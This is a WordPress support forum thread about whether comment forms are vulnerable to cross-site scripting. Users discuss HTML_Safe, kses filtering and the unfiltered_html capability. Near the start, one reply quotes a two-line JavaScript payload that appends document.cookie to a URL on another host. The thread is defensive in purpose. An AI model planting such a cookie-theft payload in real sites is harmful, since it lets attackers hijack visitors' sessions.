[Resolved] How to make comments safe?
Out of curiosity, what happened when you tried that? What was your test?
var url = 'http://www.mysite.com/send_me_passwords.cgi';
url = url + '?cookie=' + escape(document.cookie)
I think it would be best to disallow all markup in comments to avoid any risk.
Is supposed to:
“Strip all HTML tags in comments to prevent malicious or malformed tags from destroying your pages”
I have not tested it. I downloaded it and it’s only one script that appears to reference a non-existant function.
What we need is built-in comment scrubbing.
This looks promising:
But the first line of the script is this:
// requires HTMLSax3 package
Does anyone know how to verify if my host’s server has the HTMLSax3 package installed?
Can this be verified using phpinfo.php?
This is a better site to download HTML_Safe:
I’ve tested and verified that a bug exists in 2.0.2, namely, that an unclosed markup tag, submitted in a comment, will affect the appearance of text outside of that comment, thus altering the display of your blog.
But the more important question remains:
Are WP blogs at risk of cross-site scripting (XSS) when users submit malicious code in the Comments form?
I was pretty sure WP >did< some level of scrubbing. What have you tried that’s worked?
I don’t know enough about XSS to test for a vulnerability, but I’m going to use HTML_Safe anyway, if only to squash the ‘unclosed tag in comments’ bug.
I looked for codex documentation explaining why WP blogs are safe from XSS and other malicious code submitted in comments. I found this:
Note: Enabling this option for non-privileged users may result in their posting malicious code to your blog.
I don’t know if
unfiltered_htmlis disabled by default, but unless there’s some documentation assuring us that we’re safe, it’s best to assume we’re not.
Definitely definitely safe. The
unfiltered_htmlcap is only given to admins and certainly not to anonymous users or even registered ones.
This is something that has been safe in the WP core for literally years.
unfiltered_html is granted initially only to users having the Administrator or Editor roles. Casual users visiting your site will have their comments stripped of tags that are not allowed, including script tags.
When you are logged in as a user with the unfiltered_html capability, you are allowed to post script into comments. This is why you would be able to do this on your own blog.
IIRC, kses is used to prevent unwanted markup from users without this capability.
WP uses kses to filter comments. Users that have the unfiltered_html capability (Editors and Administrators) are not filtered. They are considered trusted.
I did some testing with the kses file, and yes, it appears that
unfiltered_htmlis allowed only for Admins and Editors.
I commented the
@allowedtags) and then tried makring up a comment with it to see if had any effect – it didn’t, unless I was logged in as Admin (indicating that html was filtered by kses otherwise).
So kses is protecting us.
kses doesn’t catch unclosed tags in comments, but this is not a security problem.
- The topic ‘[Resolved] How to make comments safe?’ is closed to new replies.